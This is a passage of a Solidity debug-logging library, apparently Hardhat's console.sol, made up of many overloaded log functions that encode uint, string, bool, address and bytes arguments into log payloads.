_sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0));
}
function logBytes30(bytes30 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0));
}
function logBytes31(bytes31 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0));
}
function logBytes32(bytes32 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0));
}
function log(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function log(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function log(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function log(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function log(uint p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1));
}
function log(uint p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1));
}
function log(uint p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1));
}
function log(uint p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1));
}
function log(string memory p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1));
}
function log(string memory p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1));
}
function log(string memory p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1));
}
function log(string memory p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1));
}
function log(bool p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1));
}
function log(bool p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1));
}
function log(bool p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1));
}
function log(bool p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1));
}
function log(address p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1));
}
function log(address p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1));
}
function log(address p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1));
}
function log(address p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1));
}
function log(uint p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2));
}
function log(uint p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2));
}
function log(uint p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2));
}
function log(uint p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2));
}
function log(uint p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2));
}
function log(uint p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2));
}
function log(uint p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2));
}
function log(uint p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2));
}
function log(uint p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2));
}
function log(uint p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2));
}
function log(uint p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2));
}
function log(uint p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2));
}
function log(uint p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2));
}
function log(uint p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2));
}
function log(uint p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2));
}
function log(uint p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2));
}
function log(string memory p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2));
}
function log(string memory p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2));
}
function log(string memory p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2));
}
function log(string memory p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2));
}
function log(string memory p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2));
}
function log(string memory p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2));
}
function log(string memory p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2));
}
function log(string memory p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2));
}
function log(string memory p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2));
}
function log(string memory p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2));
}
function log(string memory p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2));
}
function log(string memory p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2));
}
function log(string memory p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2));
}
function log(string memory p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2));
}
function log(string memory p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2));
}
function log(string memory p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2));
}
function log(bool p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2));
}
function log(bool p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2));
}
function log(bool p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2));
}
function log(bool p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2));
}
function log(bool p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2));
}
function log(bool p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2));
}
function log(bool p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2));
}
function log(bool p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2));
}
function log(bool p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2));
}
function log(bool p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2));
}
function log(bool p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2));
}
function log(bool p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2));
}
function log(bool p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2));
}
function log(bool p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2));
}
function log(bool p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2));
}
function log(bool p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2));
}
function log(address p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2));
}
function log(address p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2));
}
function log(address p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2));
}
function log(address p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2));
}
function log(address p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2));
}
function log(address p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2));
}
function log(address p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2));
}
function log(address p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2));
}
function log(address p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2));
}
function log(address p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2));
}
function log(address p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2));
}
function log(address p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2));
}
function log(address p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2));
}
function log(address p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2));
}
function log(address p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2));
}
function log(address p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2));
}
function log(uint p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, string memory p3) internal view {
